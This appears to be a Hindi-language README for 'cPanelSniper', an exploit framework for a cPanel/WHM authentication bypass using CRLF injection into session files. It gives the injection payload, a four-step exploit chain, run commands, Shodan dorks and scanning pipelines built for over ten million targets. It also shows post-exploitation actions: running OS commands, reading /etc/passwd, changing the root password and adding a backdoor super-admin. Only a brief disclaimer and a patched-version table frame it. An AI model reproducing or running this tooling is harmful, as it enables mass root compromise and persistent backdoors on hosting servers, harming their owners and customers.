
cPanelSniper STABLE - CVE-2026-41940, 10M+ लक्ष्यों के लिए अनुकूलित
CVE-2026-41940 — cPanel और WHM में सत्र-फ़ाइल CRLF इंजेक्शन के माध्यम से प्रमाणीकरण बायपास
4-चरणीय शोषण श्रृंखला · इंटरैक्टिव WHM शेल · 10M+ लक्ष्यों के लिए TRUE STABLE · शून्य मेमोरी उपयोग · केवल stdlib
cPanelSniper CVE-2026-41940 के लिए एक केंद्रित शोषण फ्रेमवर्क है, जो cPanel और WHM को प्रभावित करने वाली एक गंभीर प्रमाणीकरण बायपास भेद्यता है। यह भेद्यता बिना किसी वैध क्रेडेंशियल के, Authorization HTTP हेडर के माध्यम से सत्र फ़ाइल में CRLF अनुक्रम इंजेक्ट करके, बिना प्रमाणीकृत दूरस्थ हमलावरों को रूट-स्तरीय WHM एक्सेस प्राप्त करने की अनुमति देती है।
केवल अधिकृत पैठ परीक्षण और बग बाउंटी कार्यक्रमों के लिए।
यह संस्करण शून्य मेमोरी उपयोग के साथ 10,000,000+ लक्ष्यों को स्कैन करने के लिए अनुकूलित है।
--resume के साथ जहाँ रुके थे वहाँ से जारी रखेंsubfinder, httpx, shodan के साथ सहजता से काम करता हैमूल कारण Session.pm में है: saveSession() फ़ंक्शन सत्र फ़ाइल को डिस्क पर लिखने के बाद filter_sessiondata() को कॉल करता है। इसका मतलब है कि Authorization: Basic हेडर मान में एम्बेडेड CRLF वर्ण सत्र फ़ाइल में वैसे ही लिखे जाते हैं, जिससे सैनिटाइज़ेशन से पहले हमलावर-नियंत्रित फ़ील्ड इंजेक्ट हो जाते हैं।
सामान्य प्रवाह:
POST /login/ → filter_sessiondata() → सत्र लिखें → प्रमाणीकरण जाँच
कमजोर प्रवाह:
POST /login/ → सत्र लिखें (CRLF पेलोड इंजेक्ट) → filter_sessiondata() → प्रमाणीकरण जाँच ज़हरीली फ़ाइल पढ़ती है
Authorization: Basic मान डिकोड होकर:
root:x
successful_internal_auth_with_timestamp=9999999999
user=root
tfa_verified=1
hasroot=1
ये फ़ील्ड सीधे डिस्क पर सत्र फ़ाइल में लिखे जाते हैं। जब वापस पढ़ा जाता है, तो cPanel सत्र को पूरी तरह से प्रमाणीकृत रूट सत्र के रूप में मानता है।
┌─────────────────────────────────────────────────────────────┐
│ चरण 0 — कैनोनिकल होस्टनाम खोज │
│ GET /openid_connect/cpanelid → 307 → वास्तविक होस्टनाम │
├─────────────────────────────────────────────────────────────┤
│ चरण 1 — प्री-ऑथ सत्र मिंट करें │
│ POST /login/?login_only=1 (गलत क्रेडेंशियल) │
│ ← 401 + whostmgrsession कुकी │
├─────────────────────────────────────────────────────────────┤
│ चरण 2 — CRLF इंजेक्शन │
│ GET / + Cookie: session + Authorization: Basic <payload> │
│ cpsrvd CRLF फ़ील्ड को सत्र फ़ाइल में लिखता है │
│ ← 307 Location: /cpsessXXXXXXXXXX/... │
├─────────────────────────────────────────────────────────────┤
│ चरण 3 — प्रचार (do_token_denied गैजेट) │
│ GET /scripts2/listaccts │
│ raw→cache फ्लश ट्रिगर करता है — इंजेक्टेड फ़ील्ड सक्रिय हो जाते हैं │
│ ← 401 टोकन अस्वीकृत (अपेक्षित) │
├─────────────────────────────────────────────────────────────┤
│ चरण 4 — WHM रूट एक्सेस सत्यापित करें │
│ GET /cpsessXXXXXXXXXX/json-api/version │
│ ← 200 {"version":"11.x.x.x","result":1} = PWNED │
└─────────────────────────────────────────────────────────────┘
git clone https://github.com/44pie/cpsniper
cd cpsniper
python3 cPanelSniper.py --help
कोई pip इंस्टॉल आवश्यक नहीं है। केवल शुद्ध Python 3.8+ stdlib।
# एकल लक्ष्य — केवल स्कैन
python3 cPanelSniper.py -u https://target.com:2087
# एकल लक्ष्य — बायपास के बाद इंटरैक्टिव शेल
python3 cPanelSniper.py -u https://target.com:2087 --action shell
# बड़ी लक्ष्य सूची — 10M+ लक्ष्य (TRUE STABLE)
python3 cPanelSniper.py -l targets.txt -t 50 -o results.json
# बाधित स्कैन फिर से शुरू करें
python3 cPanelSniper.py -l targets.txt -t 50 -o results.json --resume
# सर्वर पर सभी cPanel खाते सूचीबद्ध करें
python3 cPanelSniper.py -u https://target.com:2087 --action list
# OS कमांड निष्पादित करें
python3 cPanelSniper.py -u https://target.com:2087 --action cmd --cmd "id;whoami;uname -a"
python3 cPanelSniper.py -u https://target.com:2087 --action cmd --cmd "ls /home"
python3 cPanelSniper.py -u https://target.com:2087 --action cmd --cmd "cat /etc/passwd"
# सर्वर जानकारी प्राप्त करें (होस्टनाम, लोड, डिस्क, MySQL होस्ट)
python3 cPanelSniper.py -u https://target.com:2087 --action info
# cPanel संस्करण प्राप्त करें
python3 cPanelSniper.py -u https://target.com:2087 --action version
# रूट पासवर्ड बदलें
python3 cPanelSniper.py -u https://target.com:2087 --action passwd --passwd 'NewPass@2026!'
# इंटरैक्टिव WHM शेल
python3 cPanelSniper.py -u https://target.com:2087 --action shell
# subfinder → httpx → फ़ाइल में सहेजें → 10M+ लक्ष्य स्कैन करें
subfinder -d target.com -silent | \
httpx -silent -ports 2087,2086 -threads 50 > targets.txt
python3 cPanelSniper.py -l targets.txt -t 50 -o results.json
# स्कोप सूची से - लाखों डोमेन संभालें
cat scope.txt | \
httpx -silent -ports 2087,2086 -threads 100 > targets.txt
python3 cPanelSniper.py -l targets.txt -t 50 -o results.json --resume
# Shodan परिणाम - बड़े पैमाने पर स्कैन
shodan search --fields ip_str,port 'title:"WHM Login"' | \
awk '{print "https://"$1":"$2}' > targets.txt
python3 cPanelSniper.py -l targets.txt -t 30 -o shodan_results.json
# stdin पाइप - केवल छोटी सूचियों के लिए (<100K)
echo "https://target.com:2087" | python3 cPanelSniper.py
# कई स्रोत संयुक्त → बड़े पैमाने पर स्कैन
{ subfinder -d target.com -silent; cat extra.txt; } | \
httpx -silent -ports 2087 > all_targets.txt
python3 cPanelSniper.py -l all_targets.txt -t 50 -o results.json --resume
10M+ लक्ष्यों को स्कैन करने के लिए:
पहले हमेशा फ़ाइल में सहेजें - बड़ी सूचियों के लिए सीधे पाइप न करें
# अच्छा - 10M+ लक्ष्यों के साथ काम करता है
httpx ... > targets.txt
python3 cPanelSniper.py -l targets.txt -t 50 -o results.json
# खराब - बड़ी सूचियों के साथ क्रैश होगा
httpx ... | python3 cPanelSniper.py
उपयुक्त थ्रेड संख्या का उपयोग करें
लंबे स्कैन के लिए ऑटो-रिज़्यूम सक्षम करें
python3 cPanelSniper.py -l targets.txt -t 50 -o results.json --resume
यदि बाधित हो, तो --resume के साथ फिर से चलाएँ
प्रगति की निगरानी करें
सफल बायपास के बाद, --action shell फ़्लैग एक इंटरैक्टिव प्रॉम्प्ट में प्रवेश करता है:
════════════════════════════════════════════════════════════
WHM शेल — target.com
संस्करण: CVE-2026-41940 | प्रमाणीकरण: CRLF बायपास
कमांड के लिए 'help' टाइप करें, बाहर निकलने के लिए 'exit'
════════════════════════════════════════════════════════════
[email protected] ▶ id
uid=0(root) gid=0(root) groups=0(root)
[email protected] ▶ accounts
[cPanel खाते] target.com:2087 (47 उपयोगकर्ता)
user01 domain: example.com email: [email protected]
user02 domain: shop.com email: [email protected]
...
[email protected] ▶ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
[email protected] ▶ info
[सर्वर जानकारी] https://target.com:2087
hostname: srv01.target.com
load: 0.72 / 0.66 / 0.69
version: 11.130.0.6
[email protected] ▶ addadmin mitsec P@ss2026!
[बैकडोर एडमिन बनाया गया]
लक्ष्य : https://target.com:2087
उपयोगकर्ता : mitsec
पासवर्ड : P@ss2026!
प्रोफ़ाइल : super_admin
[email protected] ▶ exit
usage: cPanelSniper.py [-h] [-u URL] [-l LIST] [--hostname HOSTNAME]
[-t THREADS] [--timeout TIMEOUT] [--resume]
[-o OUTPUT] [--no-color] [--save-interval N]
लक्ष्य:
-u, --url URL एकल लक्ष्य URL (जैसे https://host:2087)
-l, --list LIST URL वाली फ़ाइल (प्रति पंक्ति एक)
--hostname HOSTNAME कैनोनिकल Host हेडर ओवरराइड करें (स्वतः-खोजा गया)
स्कैन:
-t, --threads N समवर्ती थ्रेड (डिफ़ॉल्ट: 20)
--timeout N अनुरोध टाइमआउट सेकंड (डिफ़ॉल्ट: 15)
--resume पिछले स्कैन से फिर से शुरू करें (संसाधित लक्ष्य छोड़ें)
आउटपुट:
-o, --output FILE परिणाम JSON फ़ाइल में सहेजें
--no-color ANSI रंग अक्षम करें
--save-interval N परिणाम हर N सेकंड में सहेजें (डिफ़ॉल्ट: 60)
title:"WHM Login"
title:"WebHost Manager" port:2087
product:"cPanel" port:2087
http.title:"cPanel" port:2083
ssl.cert.subject.cn:"cPanel" port:2087
██████╗██████╗ █████╗ ███╗ ██╗███████╗██╗
██╔════╝██╔══██╗██╔══██╗████╗ ██║██╔════╝██║
...
CVE-2026-41940 — cPanel और WHM CRLF इंजेक्शन के माध्यम से प्रमाणीकरण बायपास
4-चरण: preauth → CRLF इंजेक्ट → प्रचार → सत्यापन → पोस्ट-एक्सप्लॉइट
In-The-Wild | CVSS 10.0 | By Mitsec (@ynsmroztas)
कॉन्फ़िगरेशन:
लक्ष्य : 1
थ्रेड : 10
टाइमआउट : 15s
क्रिया : list
14:46:22 [SCAN] 4-चरणीय शोषण श्रृंखला शुरू... https://target.com:2087
14:46:23 [INFO] कैनोनिकल होस्टनाम खोजा गया: srv01.target.com
14:46:23 [STEP] चरण 1/4 — प्री-ऑथ सत्र मिंट करना...
14:46:23 [ OK] चरण1: प्री-ऑथ सत्र = :QFB4o8XENBqlr6U1...
14:46:23 [STEP] चरण 2/4 — Authorization हेडर के माध्यम से CRLF इंजेक्शन...
14:46:24 [ OK] चरण2: HTTP 307 → token=/cpsess8493537756
14:46:24 [STEP] चरण 3/4 — do_token_denied गैजेट फायर करना (raw→cache)...
14:46:25 [ OK] चरण3: HTTP 401 — do_token_denied गैजेट फायर हुआ
14:46:25 [STEP] चरण 4/4 — WHM रूट एक्सेस सत्यापित करना...
14:46:26 [PWND] CVE-2026-41940 पुष्टि — WHM रूट एक्सेस!
14:46:26 [PWND] टोकन : /cpsess8493537756
14:46:26 [PWND] संस्करण : 11.130.0.6
14:46:26 [PWND] API URL : https://target.com:2087/cpsess8493537756/json-api/version
14:46:26 [ API] पोस्ट-एक्सप्लॉइट क्रिया चल रही है: list
14:46:27 [ API] listaccts → HTTP 200
[cPanel खाते] target.com:2087 (47 खाते)
client01 domain: client01.com email: [email protected]
client02 domain: client02.net email: [email protected]
...
══════════════════════════════════════════════════════════════════════
cPanelSniper — स्कैन पूर्ण
समय: 5.8s · लक्ष्य: 1
⚡ 1 कमजोर लक्ष्य
लक्ष्य : https://target.com:2087
संस्करण : 11.130.0.6
टोकन : /cpsess8493537756
API URL : https://target.com:2087/cpsess8493537756/json-api/version
══════════════════════════════════════════════════════════════════════
इंजेक्टेड Authorization: Basic मान (base64-डिकोडेड) में CRLF अनुक्रम होते हैं जो cPanel सत्र फ़ाइल में नई पंक्तियाँ बन जाते हैं:
root:x\r\n
successful_internal_auth_with_timestamp=9999999999\r\n
user=root\r\n
tfa_verified=1\r\n
hasroot=1
cPanel का सत्र रीडर इन्हें वैध सत्र फ़ील्ड के रूप में पार्स करता है, जिससे पूर्ण रूट WHM एक्सेस मिलता है।
महत्वपूर्ण और अक्सर अनदेखा किया जाने वाला चरण: CRLF इंजेक्शन (चरण 2) के बाद, ज़हरीला सत्र डेटा केवल रॉ सत्र फ़ाइल में मौजूद होता है। /scripts2/listaccts के लिए एक अनुरोध आंतरिक do_token_denied हैंडलर को ट्रिगर करता है, जो रॉ सत्र डेटा को सत्र कैश में फ्लश करता है। इस फ्लश के बिना, चरण 4 403 लौटाएगा।
Set-Cookie: whostmgrsession=%3aSESSION_NAME%2cOB_HEX; ...
^ ^
| +-- ob हैश (हटाया गया)
+-- सत्र नाम (इंजेक्शन के लिए उपयोग किया जाता है)
सत्र नाम (%2C से पहले) निकाला जाता है और बाद के अनुरोधों के लिए कुकी मान के रूप में उपयोग किया जाता है।
यह उपकरण केवल अधिकृत सुरक्षा परीक्षण और बग बाउंटी कार्यक्रमों के लिए है। कंप्यूटर सिस्टम तक अनधिकृत पहुँच अवैध है। लेखक कोई दायित्व नहीं मानता है और इस उपकरण के किसी भी दुरुपयोग या क्षति के लिए ज़िम्मेदार नहीं है। परीक्षण से पहले हमेशा उचित लिखित प्राधिकरण प्राप्त करें।
Mitsec — @ynsmroztas
❤️ के साथ बनाया गया @ynsmroztas द्वारा
| समस्या | मूल संस्करण | ठीक किया गया संस्करण |
|---|
| मेमोरी उपयोग | सभी लक्ष्यों को RAM में लोड करता है | लक्ष्यों को पंक्ति-दर-पंक्ति स्ट्रीम करता है (0 मेमोरी) |
| 10M लक्ष्य | OOM → मारा गया ❌ | सफलतापूर्वक पूर्ण होता है ✅ |
| फिर से शुरू | समर्थित नहीं | --resume फ़्लैग |
| प्रगति | कोई ETA नहीं | रीयल-टाइम ETA + दर + आँकड़े |
| परिणाम | केवल अंत में सहेजे जाते हैं | हर 60 सेकंड में सहेजे जाते हैं (कॉन्फ़िगर करने योग्य) |
| शाखा | कमजोर | पैच किया गया |
|---|
| 110.x | ≤ 11.110.0.96 | 11.110.0.97 |
| 118.x | ≤ 11.118.0.62 | 11.118.0.63 |
| 126.x | ≤ 11.126.0.53 | 11.126.0.54 |
| 132.x | ≤ 11.132.0.28 | 11.132.0.29 |
| 134.x | ≤ 11.134.0.19 | 11.134.0.20 |
| 136.x | ≤ 11.136.0.4 | 11.136.0.5 |
| कमांड | विवरण |
|---|
id / whoami | UID और होस्टनाम दिखाएँ |
hostname | सर्वर होस्टनाम प्राप्त करें |
version | cPanel संस्करण जानकारी |
info | लोड, डिस्क, MySQL होस्ट, संस्करण |
accounts | सभी cPanel उपयोगकर्ता खाते सूचीबद्ध करें |
cat <path> | फ़ाइल सामग्री पढ़ें |
ls [path] | निर्देशिका सूचीबद्ध करें |
exec <cmd> | OS कमांड निष्पादित करें |
addadmin <user> <pass> | बैकडोर WHM एडमिन बनाएँ |
passwd <pass> | रूट पासवर्ड बदलें |
api <endpoint> [k=v ...] | रॉ WHM JSON API कॉल |
help | सभी कमांड दिखाएँ |
exit | शेल से बाहर निकलें |